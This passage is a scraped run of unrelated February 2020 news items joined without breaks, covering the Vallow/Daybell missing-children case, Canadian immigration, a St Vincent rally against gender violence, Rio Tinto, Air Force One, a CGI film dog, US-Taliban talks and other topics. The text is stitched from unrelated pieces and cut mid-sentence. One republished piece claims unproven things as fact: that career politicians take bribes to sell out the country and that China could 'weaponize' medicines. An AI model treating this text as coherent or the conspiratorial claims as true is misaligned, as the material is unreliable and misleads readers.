around Kauai on a bike. And while Vallow was having a good time, the whereabouts of her two children remain unknown. Her children, seven-year-old Joshua and 17-year old Tylee, have not been seen since late September of 2019 but have only been reported missing to the police in December. Last October, Daybell's ex-wife, Tammy Daybell, was found dead "due to natural causes". Some time after her death, Lori and Chad got married. This prompted authorities to think that the new couple is involved with the children's disappearance. In January, Vallow was given an order to bring the children to court. After failing to do so, being on vacation, she was warned with contempt of court for failing to meet the court-ordered deadline. But that is not the only mess on this web. Joseph Ryan, the biological father of Tylee Ryan, died in 2018 apparently due to heart attack. In July of last year, Lori's ex-husband Charles Vallow, traveled from Arizona to Texas to see his family. However, when he got there, Charles and Lori got in a fight, which prompted Alex Cox, Lori's brother to put a bullet in Charles' head. And last December, Cox died for a reason that is yet to be understood, pending the autopsy report from the police. Authorities say, however, that all these occurrences do not show connections to each other for now. University of Idaho assistant professor Samuel Newton supported this rationalization, saying that although the circumstances indeed appear suspicious, the prosecutor of the case still requires concrete evidence to file criminal charges. "I'm willing to bet what everyone is trying to do is get enough evidence to get an arrest and prove some sort of felony," Newton said. He also added that what police want for the meantime, is to avoid filing any charges because it will just get dismissed due to lack of evidence. "The rules of evidence don't typically allow us to judge a person based on their past conduct," Newton explained. "You're supposed to judge them on the facts of this case." Sean Bartholic, the lawyer of the couple, released a statement describing Daybell as a loving husband and Vallow as a devoted mother. Moreover, it was also found out that Vallow and Daybell have both written and published books on apocalyptic events and near-death experiences. This adds to the speculations that their way of thinking might be somehow connected to the incidents. Many speculations are surrounding the death of her former spouse and the loss of her two children. However, despite many questions about why the couple is still not arrested, it is because the police have not yet established concrete evidence that will link the couple to the loss of the case. Canada welcomed the highest number of new immigrants in more than a century last year, opening its doors to 341,180 people from 175 different countries. That annual total, which exceeded Ottawas target of 330,000, was topped only twice before in 1913, when 401,000 new immigrants arrived in the country, and 1912, when 376,000 settled here. The vast majority back then came from Europe as a result of this countrys campaign for newcomers to settle in Western Canada. Daniel Joseph, 37, explained why he and his wife came to Canada. Weve been to the U.S. and Australia. We love Canadas tolerance and multiculturalism. We came from cosmopolitan Singapore and would love a slower-paced life. Canada is so welcoming and we like the opportunity to interact with people from multi-faith backgrounds, Christians of different kind, Buddhists and Muslims. He and his wife, Janice Renee Low, 40, landed in Canada in February 2019. This is a big country and we want to explore the urban, suburban and rural lifestyles. This is exciting, added Joseph, a former high school teacher, who now studies theology at the University of Toronto while his wife is looking for employment in business administration. For a third year in a row, India was the top immigrant source for Canada, with 85,585, or about one in four hailing from that country, according to the latest federal immigration data. China was second, at 30,260, and the Philippines, at 27,815, was third. Over the last five years, the annual number of Indian immigrants grew by 118 per cent. India also accounted for over 34 per cent of Canadas international student population with almost 220,000 enrolled in a Canadian school in 2019, representing a 350-per-cent growth from 48,765 in 2015, largely a result of a federal program by Ottawa to fast-track study permit applications for students from India. Immigration policy analyst Kareem El-Assal believes Indias numbers have much to do with the significant middle-class population in the worlds second-most populated country, where many residents have high levels of English-language proficiency and education that meet Canadas immigrant selection criteria, which awards Canadian educational credentials that international graduates share. He said Canadas appeal to Indian immigrants many of whom have been temporary workers in the United States has also been boosted by anti-immigrant sentiment in the U.S. under the Trump administration, which advocates jobs for Americans first. This has resulted in Indian nationals living in the U.S. choosing to apply for Canadian permanent residence, said El-Assal, director of policy and digital strategy at CanadaVisa, an immigration website run by a Montreal-based law firm. While the number of immigrants from China has remained at around 30,000 a year, the number of permanent residents from the Philippines dropped almost by half from its peak of 50,845 in 2015 to 27,815 last year. The Philippines has fallen behind China. This is because Canada has significantly reduced its intake under the Caregiver Program. The overwhelming majority of immigrants admitted through the Caregiver Program come from the Philippines, explains El-Assal. A whopping 45 per cent or 153,340 newcomers in 2019 intended to settle in Ontario, making the province by far the most popular immigrant destination. It was followed by British Columbia (50,845), Alberta (43,685) and Quebec (40,545), which has seen its share drop sharply from five years ago when it was just behind Ontario as the next most popular province for immigrants. The decline is likely a result of the Coalition Avenir Quebec governments 20 per cent cut to immigration levels in 2019, said El-Assal. Immigrants continued to flock to major Canadian urban centres, with 117,720 or 34.5 per cent settling in the Greater Toronto Area, followed by Vancouver (40,020), Montreal (34,620), Calgary (19,625) and Edmonton (16,420). In contrast, the number of new immigrants to Nunavut, Yukon, Saskatchewan, Manitoba, New Brunswick, Nova Scotia, Prince Edward Island and Newfoundland in 2019 totalled just 53,270. Overall, economic immigrants who came as skilled workers and investors made up about 58 per cent of the 2019 newcomer cohort, while 27 per cent came under the family class, which includes spouses and parents. The remaining 15 per cent came as refugees or on humanitarian and compassionate grounds, among other reasons. The federal government has set a target for 2020 to bring in between 340,000 and 360,000 new permanent residents. Rev Dr. Cecil Richards made no excuses for fingering the many who would denounce violence against our womEnfolk, but who did not see it worthwhile to attend Public March/Rally for the cause. Rev Dr. Cecil Richards, Pastor of the Kingstown Baptist Church, has expressed concern that too many people are staying on the sidelines or in their comfort zone, while this country experiences a surge in domestic violence and other crimes against women and girls. Dr Richards concern came as he delivered a powerful address at a Rally at Heritage Square last Friday afternoon. The Rally followed a March through Kingstown organized as part of activities to highlight the scourge of gender-based violence. "There is too much spectatorship. You hear me? There is too much spectatorship for this issue that is destroying lives, that is destroying homes, that is destroying individuals. There is way too much spectatorship. And, this event this evening is a very signal of the fact that there is really too much of this, Dr Richards told the Rally which was dominated by women. Interestingly, the event was held on Valentines Day the day when couples especially attend various romantic, social activities such as dinners, or spend time quietly in romantic settings. Given what he perceived to be a low turnout to the March and Rally, Dr Richards asked whether a dinner was more important than showing support for women, who are victims of abuse and crime, and addressing the scourge confronting the nation. "We walked along and there were so many people looking out their windows and so many people following along in their cars and tooting their horns; and so many people heading to their Valentines dinner as if that was more important than a broken home, Dr Richards lamented. He also took a dig at the politicians. "Too much spectatorship from the people who seek to represent you but are not here this evening. Let me say that again from the people who seek to represent you and are not here. "I am not talking politics but Im talking about those who gonna come and ask you for your vote and want you to stand for them and they are not here to stand for you. There is too much, way too much spectatorship people who want to talk the talk but not willing to walk the walk, he asserted. He further stated: "So, I want you to go to your offices, I want you to go to your homes, I want you to go to the political constituency offices and everywhere, and say there has been too much spectatorship on this issue. As far as Dr. Richards was concerned, if a man and a woman are not willing to stand up for this cause that is hurting our nation, then they ought to be told, "You are a spectator and you are not contributing to the solution. If you are not contributing to the solution, you are a part of the problem. The March and Rally followed a series of vicious attacks on women in recent weeks, including the shooting death of Cuban-born nurse Arianna Taylor-Israel three weeks ago. The Cuban national, married to Vincentian Mitchell Israel, and residing and working here for over a decade, was shot at the St Martins Secondary School where their son is a student. Taylor-Israels husband has been arrested and charged with her killing. He is currently on remand at Her Majestys Prison. Editors Note: THE VINCENTIAN has been reliably informed that there were at least two politically affiliated persons in attendance at last Fridays Rally. They were Opposition Senator Israel Bruce and former Opposition Senator Zita Barnwell. Australian mining giant Rio Tinto has launched action with a United Nations arbitration panel in the hope of ending a long-running dispute with the Mongolian government over taxes paid by its giant copper and gold mine in the Gobi Desert. In a sign of further friction between Rio Tinto and the Mongolian government over the Oyu Tolgoi mine, the company on Friday said it had initiated a formal request with the UN Commission on International Trade Law relating to $US155 million ($234 million) in disputed taxes that Mongolia believes Rio's subsidiaries should have paid between 2013 and 2015. Rio Tinto's Oyu Tolgoi mine is one of the world's richest copper deposits. Credit: "We have worked diligently with the government and tax office representatives in Mongolia to find a mutually acceptable settlement and came to the conclusion that arbitration is the best way forward to resolve this issue," said Arnaud Soirat, the global miner's chief executive of copper and diamonds. Rio's $8 billion expansion of the giant underground mine in the nation's south has been beset by a series of delays and cost blowouts. In June, the ASX-listed miner issued a warning to investors the project could cost as much as $1.9 billion more than forecast. US President Donald Trump and wife Melania Trump will be visiting India on February 24-25, and they will be accompanied by daughter Ivanka Trump and son-in-law Jared Kushner. The US President will be flying to India in his world-famous Air Force One, which is also termed as a fortress in the sky or the Flying Oval Office. Here are 10 key facts on the Air Force One, which is the official plane of the US President: 1. Air Force One has a sophisticated cabin not only for the President to relax and hold office meetings but also equipped with facilities to save him during any adverse situation. 2. Air Force One is one of the largest commercial airliner manufactured by Boeing. It is also one of the most recognizable symbols of the US President's office. 3. The Air Force One refers to one of two highly customized Boeing 747-200B series aircraft. They carry the tail codes 28000 and 29000, while the Air Force designation for the aircraft is VC-25A. 4. Air Force One is based on the Boeings most successful and renowned 747 airplane known for its double-decker cabin and a large hump. It is also capable of refueling midair, unlike commercial jetliners who carry a fixed fuel and have to land for refueling. 5. The super plane is also termed as a fortress due to its defence systems. Its onboard electronics are hardened to protect against an electromagnetic pulse. The Air Force One boasts of advanced secure communication equipment that make it a mobile command center in case of an attack on the United States. The plane has electronic counter-measures (ECM) to jam enemy radars and also carries flares in its wings to counter enemy missiles. 6. The cabin of Air Force One has 4,000 square feet of floor space on three levels, besides a dedicated medical suite with an operating room, permanent onboard doctor and containers carrying blood for the President. 7. The President stays on an extensive suite with a large office and conference room. The plane, which never flies alone, has two food preparation galleys and can feed 100 people at a time. Ahead of Air Force One, several cargo planes fly to provide the President with services needed in remote locations. 8. The US President travels with senior advisors, Secret Service officers, traveling press, and other guests. They all have their quarters to stay. The Air Force One can carry 102 passengers, including 26 crew members. 9. Air Force One or Boeing 747-200 was first delivered in 1990 during the administration of President George HW Bush. It is maintained and operated by the Presidential Airlift Group, part of the White House Military Office founded in 1944 on the direction of President Franklin D Roosevelt. 10. According to reports, President Donald Trump is in talks with Boeing for a new 747-800 series of planes, which will be more advanced and luxurious. Harrison Ford's faithful canine sidekick in his new film was created using a human actor which computer whizzes turned into a dog. In The Call of the Wild, Ford's character John Thornton steals a dog and the pair become the best of friends. But rather than search for a 140lb St Bernard-Scotch Collie mix to cast as Buck, producers chose to animate the dog with computer graphics. Terry Notary, a former Cirque du Soleil performer, was recruited by director Chris Sanders to act the part of the lovable mutt alongside Ford, 77. Terry Notary (right), a former Cirque du Soleil performer, was recruited by director Chris Sanders to act the part of the lovable mutt alongside Ford, 77 Previously known for his motion-capture work in films Avatar, The Hobbit series and the Planet of the Apes reboot, Notary got down on all-fours and mimicked Buck's movements before he was replaced in post-production editing. The end result has been praised as 'absolutely breathtaking' by animal welfare activists, who noted the producers' decision not to exploit creatures. The technique, motion capture CGI, is the same as that used in creating the fictional character Gollum in Lord of the Rings. Previously known for his motion-capture work in films Avatar, The Hobbit series and the Planet of the Apes reboot, Notary (pictured with Harrison Ford) got down on all-fours and mimicked Buck's movements before he was replaced in post-production editing Played by Andy Serkis, the sly creature was created using motion capture CGI, which involves an actor placing multiple sensors all over their body that records their movement in a computer. HOW IT WORKS Motion capture suits are equipped with reflective markers and, when infrared light hits the markers, cameras can record their 3D positions. The information is then reconstructed to 'translate' the motion to the screen. Motion is mapped onto a virtual 'skeleton' of the animated character. It's difficult to predict how an actor's movement will translate to an animated character, so most studios use software that shows the digital character moving with the actor in real time - on a virtual set - so the director can see a rough version of the performance. Advertisement The computer then creates an image based on the movements of the sensors and turns it into a character which looks like the actor. Serkis is noted for his motion capture work in Lord of the Rings, The Hobbit, Star Wars, King Kong, Caesar, Planet of the Apes, The Adventures of Tintin and Mowgli: Legend of the Jungle. Star Wars: Episode 1 The Phantom Menace was the first feature-length film to include a main character created using motion capture - Jar Jar Binks played by Ahmed Best. The Lord of the Rings franchise was the pioneer of using motion capture CGI to create various creatures. Benedict Cumberbatch plays Smaug in The Hobbit series and wore a similar 'sensor suit' and camera helmet which captured his every facial expression. The technique, motion capture CGI, is the same as that used in creating the fictional character Gollum (left) in Lord of the Rings. Played by Andy Serkis (right), the sly creature was created using motion capture CGI, which involves an actor placing multiple sensors all over their body that records their movement in a computer He told Business Insider: 'I absolutely loved it after a minute of stepping on and feeling completely like a n**. 'Once you get over that bit of self-consciousness, it's so freeing. I just played like a kid in a bedroom, just imagining this thing, which is great.' Different sensors on the actor's face capture their expressions and match it with the audio the actor's record afterwards. The latest film adaptation of Jack London's 1903 novel tracks the friendship that blossoms between the stolen dog Buck (right) and Harrison Ford's character John Thornton (left) Benedict Cumberbatch plays Smaug in The Hobbit series and wore a similar 'sensor suit' and camera helmet which captured his every facial expression He told Business Insider : 'I absolutely loved it after a minute of stepping on and feeling completely like a n**' 'Once you get over that bit of self-consciousness, it's so freeing. I just played like a kid in a bedroom, just imagining this thing, which is great' Animal welfare charity PETA US posted on Twitter: 'STUNNING! Harrison Ford's new film #CallOfTheWild uses 100% CGI animals. 'The beautiful visuals prove that you can make a film all about animals without exploiting a single one! From a bear to Buck, the CGI is absolutely breathtaking.' THE UNCANNY VALLEY: A phenomenon that has creeped out reviewers watching Ford's film The Call of the Wild Film critics are unsettled by the depiction of Buck, a 140lb St Bernard-Scotch Collie mix stolen from California and sold into sledding during the Canadian gold rush. Realistic computer-generated images of animals and humans are subject to 'the uncanny valley', a phenomenon in which the appearance of fake human or animal faces causes revulsion. The resemblance is said to be 'uncanny', while the 'valley' denotes a dip in the observer's affinity or empathy for the replica. Advertisement However, film critics have ripped 20th Century Fox's movie apart for its 'uncanny' depiction of Buck, a dog stolen and sold into sledding. Although some noted the canine's beautiful CGI rendering, others have been left baffled by the animation. CNN argued 'the blessings of technology actually undermine the movie in significant, distracting ways'. Variety called 2020's The Call of the Wild 'more than a bit fake', scathing: 'If I want to see a dog turned into a cartoon, I'd rather watch a cartoon'. Meanwhile, The Hollywood Reporter said: 'The results are visually disorientating, to say the least. 'The expressive Buck never quite looks real. And you keep expecting him and the rest of the animals to burst into song.' The Wall Street Journal took umbrage with the human actors instead of the CGI dog, writing: 'Buck is so lifelike, thanks to the wonders of computer animation, and the people around him are such lifeless caricatures, that the studio should have given the pooch the gift of speech and kept the humans mercifully mute.' The advances in technology allows filmmakers to 'cut corners' and simply hire motion-capture actors rather than trained animals. Speaking of The Call of the Wild, Layla Flaherty, director of animal acting agency Urban Paws, told The Times: 'It's to cut corners, it's a faster production and there's room for error, but it's not always received in a positive light.' She added: 'People like to see a real animal.' The Call of the Wild is based on Jack London's 1903 short novel set in Yukon, Canada during the 1890s Klondike Gold Rush, when sled dogs were in demand. Buck is stolen from his home in California and sold to freight haulers where he meets Ford's bearded character, the grisly John Thornton. USM Connoisseur Series Presents SymbiosisDuo March 1 Fri, 02/21/2020 - 15:47pm | By: Mike Lopinto The University of Southern Mississippi (USM) School of Music presents its Connoisseur Series featuring SymbiosisDuo on March 1 at 4 p.m. in Marsh Auditorium. This free event is presented in part by Partners for the Arts. Dr. Stacy Baker and Dr. Gail Robertson comprise SymbiosisDuo, a tuba/euphonium duo designed to promote and disseminate new works for this instrument combination. SymbiosisDuo comes from the concert duet of the same name written for the pair by composer Chris Sharp. In the program notes for the work, Sharp writes, Symbiosis is defined as, A relationship of mutual benefit or dependenceThe technical and range-requirements for each solo instrument are comparable, suggesting a separate but equal relationship. For the performance in Hattiesburg, SymbiosisDuo will be assisted by pianist T.O. Sterrett. They will be performing three works by Sterrett, as well as compositions by Kevin McKee, Ben McMillan, and Gail Robertson. Dr. Stacy Baker (tuba) enjoys an active career appearing as featured artist at International Tuba/Euphonium Conferences (IWBC); U.S. Army Band Pershings Own Tuba/Euphonium Conferences; and International Tuba Festivals. Baker has toured and recorded throughout the United States, Europe, and China as a soloist, and as a founding member of Symbiosis Duo, the tuba/euphonium quartet JUNCTION, the IWBCs Monarch Brass, and the Athena Brass Band. Dr. Gail Robertson (euphonium) has toured the U.S., Europe, China, and japan with Keith Brions New Sousa Band, the Brass Band of Battle Creek, the Monarch Brass, the Athena Brass Band, and the Brass Band of Central Florida. Robertsons published works and arrangements are available through GAR MUSIC, Euphonium.com, and Tuba-Euphonium Press. For more information contact Dr. Richard Perry at (601) 266-6441. Over Half in US take Prescription Drugs (Natural News) Add to that 150 million people all our residents that take supplements and you have a pretty good idea what our exposure is to China weaponizing medications. Nearly all of our supplements and medications are made from ingredients procured from China. Theyve killed Americans before with tainted meds, and that was supposedly an accident. (Article by David Brockett republished from DCClothesline.com) If China just shuts off our access to these ingredients and medications they manufacture, our US hospital and community pharmacies will run out within two months, with no alternatives. China has a stranglehold on 90 percent of our medicine When you have powerful career politicians like Shanghai Mitch McConnell, Joe Biden, and a host of others in bed with your enemies, this is what happens. For over thirty years politicians have been taking bribes to give away our nation via trade agreements, and no one has ever been caught or punished. Now that the world is in a panic about the coronavirus and medications which may be needed to combat it here in the US, we discover that China not only infected untold thousands across the globe, they control 90 percent of the medication ingredients needed to produce a cure! This from NBC News: China could potentially weaponize our medicines. They can sell us medicines without any medicine in them. They can sell medicines that have lethal contaminants in it. We cant make penicillin anymore,.. The last penicillin plant in the United States closed in 2004. Contaminated supplies of the blood thinning drug Heparin in 2008 led to the deaths of 149 Americans From the Seattle Times: Millions of Americans are taking medicines made in China medications sold in big box stores and pharmacies, administered in hospitals, and used by Veterans Affairs and military facilities around the world. Over the past 30 years, much of the U.S. drug manufacturing industry has relocated offshore The U.S. has virtually no capacity to make generic antibiotics used to treat ear infections, strep throat, pneumonia, urinary tract infections, sexually transmitted diseases, Lyme disease and other illnesses In five to 10 years, the U.S. will have largely lost its capacity to manufacture most generic drugs. From Politico: Rosemary Gibson: Medicines can be used as a weapon of war against the United States, A single factory in China made the active pharmaceutical ingredient for a common blood pressure medicine, valsartan, that was found to contain a cancer-causing chemical that has been used to make liquid rocket fuel. Millions of Americans, including service members, rely on drugs to stay healthy yet the United States imports a significant portion of these drugs components from China, From the NY Post re dirty factory conditions: US factories no longer make generic antibiotics. So, if US-China tensions worsen, China could cut off antibiotic exports, throwing our hospitals into turmoil. The GAO found that the FDA inspects Chinese drug manufacturing plants infrequently, at best, and some may never get inspected. Even now, it has only 29 staff dedicated to inspecting more than 3,000 foreign manufacturing facilities. Here is a funny tidbit from last year Adam Schiff assured Americans that his committee was going to be looking into US pharmaceutical dependency on China HAH! Read more at: DCClothesline.com A seven-day long "reduction in violence" in Afghanistan, which if successful would lead to the signing of US-Taliban peace accord later this month, will begin on Friday midnight (local time). Multiple reports said the agreement negotiated between the US and Taliban could secure a peace deal that would see the eventual withdrawal of American troops from war-torn Afghanistan, as desired by US President Donald Trump. "We are preparing for the signing to take place on February 29," TOLOnews quoted US Secretary of State Mike Pompeo as saying. The top American diplomat, in a tweet, also said that an understanding has been reached with the Taliban on "significant reduction" in violence across Afghanistan. "After decades of conflict, we have come to an understanding with the Taliban on a significant reduction in violence across #Afghanistan. This is an important step on a long road to peace, and I call on all Afghans to seize this opportunity," tweeted Pompeo. Xinhua cited Zabiullah Mujahid, a Taliban spokesperson, as saying on Twitter that following lengthy negotiations "both parties agreed to sign the finalised accord in the presence of international observers" on February 29. The development which was welcomed by NATO Secretary-General, Jens Stoltenberg, comes days after incumbent Afghan President Ashraf Ghani was declared as the winner of polls conducted in September last year. According to Xinhua, the death toll of US service members has surpassed 2,400 since the United States invaded Afghanistan in 2001. US and Taliban negotiators have been meeting in Doha since 2018 even though fighting has raged in war-torn Afghanistan which has led to the death of thousands of civilians as the group has expanded its territorial control. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The ban is based on scientific considerations, says the island government. Taiwan opposed by Rome's decision to suspend flights between the two countries to curb the spread of the coronavirus. The presence of African swine fever in Sardinia at the basis of the import ban. Taipei (AsiaNews / Agencies) - Taiwan declares that the ban on imports of pork from Italy is not a retaliation to the suspension of connections to and from the island decided by Rome to counter the spread of Wuhan's coronavirus (Covid -19). The import ban went into effect yesterday, February 20, and the Taiwanese foreign ministry said it was based on scientific data. The local agency responsible for animal health control ((BAPHIQ) claims that the ban is due to the spread of African swine fever in Sardinia. Fines for those who import pigs and pork from Italy range from a minimum of 6 thousand to a maximum of 30 thousand euros. It should be noted that the World Organization for Animal Health does not classify Italy as a country at risk for the spread of this disease. The cases recorded so far on the peninsula are 45 in 2017, 90 in 2018 and 27 in the first half of 2019. Taipei accuses Italy of canceling flights because the World Health Organization (WHO) defines the island as a region of China, and not for a scientific evaluation of the health situation on the island, where 24 infected people are currently registered and one death. The Tsai Ing-wen government has repeatedly asked Italy to restore air links between the two countries. Taiwan is in fact an independent state, but Beijing considers it a "rebel" province, threatening several times to regain control, even with the use of force if necessary. Riyadh: The United States is preparing to sign a deal with the Taliban on February 29, building on an agreement on reducing violence across Afghanistan, Secretary of State Mike Pompeo said Friday. "Upon a successful implementation of this understanding, signing of the US-Taliban agreement is expected to move forward," he said in a statement released after visiting Saudi Arabia. SACRAMENTO, Calif. - The Federal Emergency Management Agency (FEMA) responded to an appeal for financial aid for Oroville spillway reconstruction work with a statement saying it believed the entire amount spent on the main spillway and a portion of the emergency spillway is eligible for federal reimbursement to the state of California's Department of Water Resources (DWR). DWR had appealed FEMA's earlier reimbursement decision for the Oroville spillways reconstruction work. This means DWR may be reimbursed approximately $750 million of the $1.1 billion of project costs. FEMA can reimburse up to 75 percent of eligible project costs DWR expressed gratitude to FEMA staff for their time, dedication, and continued support over the last three years. The state said they will continue to review FEMAs response and then will make a plan for next steps in the coming weeks. Referring to instances of alleged "hate speeches" by leaders of All India Majlis-e-Ittehadul Muslimeen and Bharatiya Janata party, Maharashtra Cabinet Minister and Nationalist Congress Party (NCP) leader Nawab Malik on Friday asked whether there is a fixed match between AIMIM and BJP for making communal statements. "The way AIMIM leader Waris Pathan spoke in Karnataka, we condemn this kind of statement. Earlier also Akbaruddin Owaisi made a similar kind of statement to flare up the situation. Is there a fixed match between AIMIM and BJP for making these kinds of statements?" questioned Malik while speaking to ANI. Recently, Union Minister and BJP leader Giriraj Singh while addressing a gathering at UP's Saharanpur said, "I had once stated that Deoband is the Gangotri of terrorism. All the major terrorists from across the world have been born here." Pathan had said that 15 crore Muslims can dominate 100 crore Hindus. "The time has now come for us to unite and achieve freedom. Remember we are 15 crore but can dominate over 100 crores," said Pathan while addressing an anti-CAA rally at Kalaburagi in Karnataka. "They tell us that we have kept our women in the front - only the lionesses have come out and you are already sweating. You can understand what would happen if all of us come together," he added. Nawab Malik further condemned the incident where a student raised pro-Pakistan slogans at an anti-CAA rally organised by AIMIM chief Asaduddin Owaisi in Bengaluru. "The way in Bengaluru a girl chanted 'Pakistan zindabad' slogan is condemnable. The AIMIM chief should make an apology for this," Malik said. A student named Amulya raised 'Pakistan zindabad' slogan at an anti-CAA rally organised by AIMIM chief Asaduddin Owaisi here on Thursday. A case has been registered under Section 124A (Offence of sedition) of the Indian Penal Code against Amulya. Malik further said that the Ahmedabad tour of Donald Trump is nothing but propaganda for the American election later this year. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Bismarck police K-9 who competed on "America's Top Dog" was eliminated from the competition in the first round, an episode that aired Wednesday revealed. K-9 Bala and her handler, Sgt. Dan Salander, had competed last June in Los Angeles, along with Bismarck Officer Joseph Benke and his K-9 partner, Mesa. An episode starring that team is expected to air next week. Salander guided the 5-year-old Bala through an obstacle course in which she had to jump through car windows, run up and down a fire escape, leap over a 5-foot wall, cross over a planked rope bridge and wade through a pool. Bala struggled during the fire escape and pool portions of the obstacle course. Her run on the fire escape appeared to be edited out, with a commentator describing "delays." Faced with swimming through the pool, the Belgian malinois hesitated, at one point attempting to go around it. She eventually clocked the run at four minutes and two seconds. "Being from North Dakota, Bala doesn't have much water training, so she's not that comfortable diving in," a second commentator said. The team was edged out of the race when a pair from the Leon County Sheriff's Department in Florida passed the course in exactly four minutes -- with the handler questionably entering the pool with his K-9 puppy to guide him to the finish. "It was just great to compete against dogs from all over. It's just so fun seeing all this. Exposing her to this kind of environment was great," Salander said to a host after he was eliminated. Salander has partnered with Bala for eight years. He and Bala bonded over taking care of his mother before she died from cancer. "Going through the whole cancer process with my mom, we stayed and took care of her," said Salander, who wore her favorite color, red. "I don't know if I would have been able to do it without having Bala with me." Reach Andy Tsubasa Field at 701-250-8264 or andy.field@bismarcktribune.com. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Jaipur is likely to host the Women's IPL matches once again this year. "There would be seven matches between four teams in the women's IPL and Jaipur is likely to host them," a senior official associated with the cash-rich T20 league said on Friday. Last year, too, Jaipur had hosted the matches of the Women's IPL, when three teams had featured in the tournament. Matches in Jaipur are played at the Sawai Mansingh Stadium, though a final decision on it is yet to be taken. Meanwhile, the official also confirmed that the All Star match, which was scheduled to be held before the IPL, will now take place after it. "The venue for the match is yet to be finalised. We will have to see the performances of the players (and then select) them," the official said on why the original plan was scrapped. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Novelists have been especially adroit lately at upending conventional narratives, perhaps because theyre inspired by the truthy hellscape were living in. Yet there is still a certain pleasure in a story straightforwardly told, in alternating chapters, including each main characters point of view. Amanda Eyre Wards The Jetsetters is one of those books, delivering a narrative of family dysfunction in which each member is a mess and everyone gets a say. I confess I was initially put off by the premise, which sails through the Hallmark Channel into Love Boatish waters. Charlotte Perkins, a widow in her early 70s, wins a contest for a Mediterranean cruise, and invites her adult children to come along. Behavior is atrocious. Family secrets are exposed. Reckonings and reconciliations are had. Ward has centered earlier novels around such morally fraught issues as surrogacy and immigration, and at first this novel felt like a sunny departure. Charlotte is an avid reader of soapy romances, and when we are in her head, it can be a purple storm of banality. In her contest essay she describes her first sexual encounter at 16 with a Spanish-born, famous painter she meets in Paris (yes, that one, though, coyly, he is never named): It may be hard to believe, but once upon a time, I was unpeeled like a banana, my rich fruit eaten raw. The actual deflowering was a dud, but it was the first and only time in her life that Charlotte felt truly seen. The Chinese Ambassador t Ghana, Shi Ting Wang, has assured that Ghanaian students in China will be safe in spite of the outbreak of the Coronavirus in that part of the world. He admitted that the fears of Ghanaian parents who have their children in China are genuine, but the Chinese authority, he said, will ensure their safety. Ghanaian parents whose children remain trapped in the Coronavirus outbreak in China insist the government must fly the students back home. The angry parents, who held a press conference in Accra on Tuesday, 18 February 2020, even say they are ready to foot the bill for the flight if the government does not have the financial resources to do so. One of the parents, Mr Nhyira Agyapong, a lawyer, whose daughter and nephew are studying in China, told Class FM Tuesday: For how long can these students be in their rooms? At some point after two, three months theyll break down. Mr Agyapong said: Now, the hospitals are not even safe so that even with a minor sickness, you can go there because now, whatever sickness that sends you to the hospital, it would be seen as being infected and you can see the consequence. So, thats why we, as parents, are saying that President Nana Addo Dankwa Akufo-Addo should take steps and bring the children back home. If it is about the expenses involved, we, the parents, are ready to bear those expenses, he said. Addressing a news conference in Accra on Friday, 21 February 2020, the Chinese Ambassador said: It is understandable that people are worried. We are human beings. Our authorities tasked to protect the foreigners of Hubei province and universities are working hard to keep the students safe. The universities keep doing routine inspections and monitoring the temperature of every student on a daily basis. The Chinese municipal government has published a 24-hour English speaking services hotline for foreigners, including Ghanaian students. If any student feels unwell, the local government will respond immediately and arrange the student for medical treatment in time. Up till now, everyone is safe. Nobody reported a case of being infected, he stated. Source: Class News Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Maharashtra Home Minister Anil Deshmukh on Friday said the previous government in the state termed those opposed to their policies as 'urban Naxals' and foisted cases against intellectuals, poets and thinkers. He said the Maharashtra Vikas Aghadi would set up a special investigation team (SIT), as demanded by NCP chief Sharad Pawar, to probe the Koregoan Bhima and Elgar Parishad cases, the latter now being investigated by the federal National Investigation Agency (NIA). Addressing a press conference here, Deshmukh said legal opinion was being sought for the setting up of the SIT. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Trump administration is working on sanctions enforcement against China for allegedly importing hundreds of thousands of barrels of Iranian crude each month, US Special Representative Brian Hook told reporters on Thursday WASHINGTON (UrduPoint News / Sputnik - 20th February, 2020) The Trump administration is working on sanctions enforcement against China for allegedly importing hundreds of thousands of barrels of Iranian crude each month, US Special Representative Brian Hook told reporters on Thursday. "We still are seeing a few hundred thousand barrels a month going to China... we would like to see that number get to zero, so we're going to continue working hard on sanctions enforcement," Hook said. Hook pointed out that the United States has sanctioned Chinese individuals and entities three separate times to curb its purchase of Iranian oil. In May 2018, the United States unilaterally withdrew from the 2015 Joint Comprehensive Plan of Action (JCPOA) with Iran and re-introduced wide-ranging sanctions against Tehran. Washington vowed to drive Iran's oil exports down to zero and demanded that other countries stop any purchases from that country or risk being sanctioned. The nuclear agreement - also signed by China, France, Germany, Russia, Germany, the United Kingdom and the European Union - stipulated that Iran should keep its nuclear program peaceful and downgrade its uranium reserves in exchange for sanctions relief. [Follow our live coverage of Oprahs Interview with Meghan and Harry] Prince Harry and his wife, Meghan, will give up the name royal as they withdraw from official duties as members of the British royal family and embark on new lives in the private sector, the couple confirmed on Friday. Harry and Meghan, who are also known as the duke and duchess of Sussex, had planned to use the name SussexRoyal as an umbrella brand for their new charitable foundation and social media accounts. But after protracted and difficult negotiations with Buckingham Palace, the couple has agreed not to use royal in any of their philanthropic or commercial activities after this spring. They will withdraw trademark applications using the name and remove it from their Instagram account and website. On the site, the couple left little doubt that this like other aspects of their new arrangement with Buckingham Palace was not their preferred outcome. The Robert Allen Duralee Group has announced plans to shutter six of its showrooms by the end of March. Its Houston location has already closed; Dallas, Los Angeles, New York, High Point and San Francisco are all set to permanently shut down. According to a press release, the closures are a prelude to a complete exit from the showroom business. Robert Allen has made the decision to exit its showroom operations as a part of a broader strategic plan, according to the release. We will maintain a physical presence in all major design center markets by launching with new high-end, multiline agent showrooms. According to a representative from the company, RADG already has deals in place for multiline showrooms to sell their product in Boston, Chicago, Philadelphia, and Washington, D.C. The company is working on the same approach for the other markets, and looking to expand its presence internationally. For the time being, Robert Allen will keep its corporate showroom in Atlanta as its sole U.S. outpost; its Toronto location will also remain open as the companys stronghold in Canada. The company has also streamlined its branding under the Robert Allen name. Other brands in the portfolio, including Beacon Hill and Duralee, will be available under the parent companys umbrella. At press time, Business of Home was not able to confirm what this news means for employees working in the 